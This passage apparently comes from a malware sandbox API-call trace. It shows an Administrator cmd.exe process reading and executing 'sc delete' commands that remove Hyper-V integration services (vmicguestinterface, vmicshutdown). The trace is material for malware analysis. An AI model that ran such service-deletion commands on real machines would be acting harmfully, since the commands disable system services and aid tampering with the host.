nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0072.346] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0072.346] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0072.346] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0072.347] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.347] GetFileType (hFile=0x120) returned 0x3 [0072.347] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.347] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0072.347] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0072.347] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.347] GetFileType (hFile=0xb8) returned 0x3 [0072.347] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.347] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.347] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.347] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete vmicguestinterface\n") returned 1 [0072.347] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.347] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.347] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.347] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete vmicguestinterface\n") returned 1 [0072.347] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.347] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.347] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.348] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete vmicguestinterface\n") returned 1 [0072.348] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.348] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.348] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.348] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete vmicguestinterface\n") returned 1 [0072.348] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.348] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.348] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.348] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete vmicguestinterface\n") returned 1 [0072.348] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.348] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.348] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.348] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete vmicguestinterface\n") returned 1 [0072.348] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.348] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.348] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.348] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete vmicguestinterface\n") returned 1 [0072.348] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.348] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.348] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.349] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te vmicguestinterface\n") returned 1 [0072.349] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.349] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.349] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.349] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e vmicguestinterface\n") returned 1 [0072.349] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.349] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.349] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.349] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" vmicguestinterface\n") returned 1 [0072.349] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.349] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.349] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.349] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="vmicguestinterface\n") returned 1 [0072.349] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.349] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.349] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.349] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="micguestinterface\n") returned 1 [0072.349] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.349] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.349] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.350] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="icguestinterface\n") returned 1 [0072.350] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.350] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.350] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.350] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="cguestinterface\n") returned 1 [0072.350] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.350] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.350] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.350] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="suestinterface\n") returned 1 [0072.350] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.350] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.350] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.350] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="hestinterface\n") returned 1 [0072.350] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.350] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.350] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.350] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="ustinterface\n") returned 1 [0072.350] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.351] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.351] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.351] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="ttinterface\n") returned 1 [0072.351] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.351] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.351] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.351] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="dinterface\n") returned 1 [0072.351] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.351] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.351] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.351] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="onterface\n") returned 1 [0072.351] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.351] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.351] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.351] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="wterface\n") returned 1 [0072.351] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.351] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.352] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.352] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="nerface\n") returned 1 [0072.352] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.352] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.352] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.352] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="\nrface\n") returned 1 [0072.352] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.352] GetFileType (hFile=0xb8) returned 0x3 [0072.352] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.352] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.352] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.352] GetFileType (hFile=0x120) returned 0x3 [0072.352] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.352] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete vmicshutdown\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete vmicshutdown\n", lpUsedDefaultChar=0x0) returned 24 [0072.352] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x17, lpOverlapped=0x0) returned 1 [0072.352] GetProcessHeap () returned 0x240000 [0072.352] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x25fb10 [0072.352] GetProcessHeap () returned 0x240000 [0072.352] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25fb10 | out: hHeap=0x240000) returned 1 [0072.352] GetProcessHeap () returned 0x240000 [0072.352] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x2597e0 [0072.352] GetProcessHeap () returned 0x240000 [0072.352] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x258900 [0072.353] GetProcessHeap () returned 0x240000 [0072.353] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3a) returned 0x25aa40 [0072.353] GetConsoleOutputCP () returned 0x1b5 [0072.353] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0072.353] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.354] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.354] GetProcessHeap () returned 0x240000 [0072.354] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0072.354] GetProcessHeap () returned 0x240000 [0072.354] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x25aa90 [0072.354] GetProcessHeap () returned 0x240000 [0072.354] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c530 [0072.354] SetErrorMode (uMode=0x0) returned 0x1 [0072.354] SetErrorMode (uMode=0x1) returned 0x0 [0072.354] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c540, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0072.354] SetErrorMode (uMode=0x1) returned 0x1 [0072.354] GetProcessHeap () returned 0x240000 [0072.354] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c530, Size=0x62) returned 0x25c530 [0072.354] GetProcessHeap () returned 0x240000 [0072.354] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c530) returned 0x62 [0072.354] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0072.355] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0072.355] GetProcessHeap () returned 0x240000 [0072.355] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x259db0 [0072.355] GetProcessHeap () returned 0x240000 [0072.355] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0072.355] GetProcessHeap () returned 0x240000 [0072.355] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0072.355] GetProcessHeap () returned 0x240000 [0072.355] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0072.355] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0072.355] GetProcessHeap () returned 0x240000 [0072.355] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0072.355] GetProcessHeap () returned 0x240000 [0072.355] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0072.355] GetProcessHeap () returned 0x240000 [0072.355] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0072.355] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.355] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0072.356] GetLastError () returned 0x2 [0072.356] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0072.356] GetLastError () returned 0x2 [0072.356] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.356] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0072.357] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0072.357] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0072.357] GetLastError () returned 0x2 [0072.357] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0072.357] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0072.357] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0072.357] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0072.357] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.357] GetProcessHeap () returned 0x240000 [0072.357] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x25c5b0 [0072.357] GetConsoleTitleW (in: lpConsoleTitle=0x25c5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.358] GetProcessHeap () returned 0x240000 [0072.358] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c5b0, Size=0xa6) returned 0x25c5b0 [0072.358] GetProcessHeap () returned 0x240000 [0072.358] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c5b0) returned 0xa6 [0072.358] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete vmicshutdown") returned 1 [0072.358] GetProcessHeap () returned 0x240000 [0072.358] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c5b0 | out: hHeap=0x240000) returned 1 [0072.358] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0072.358] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0072.358] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0072.358] GetProcessHeap () returned 0x240000 [0072.358] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0072.359] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0072.359] _wcsnicmp (_String1="COPYCMD", 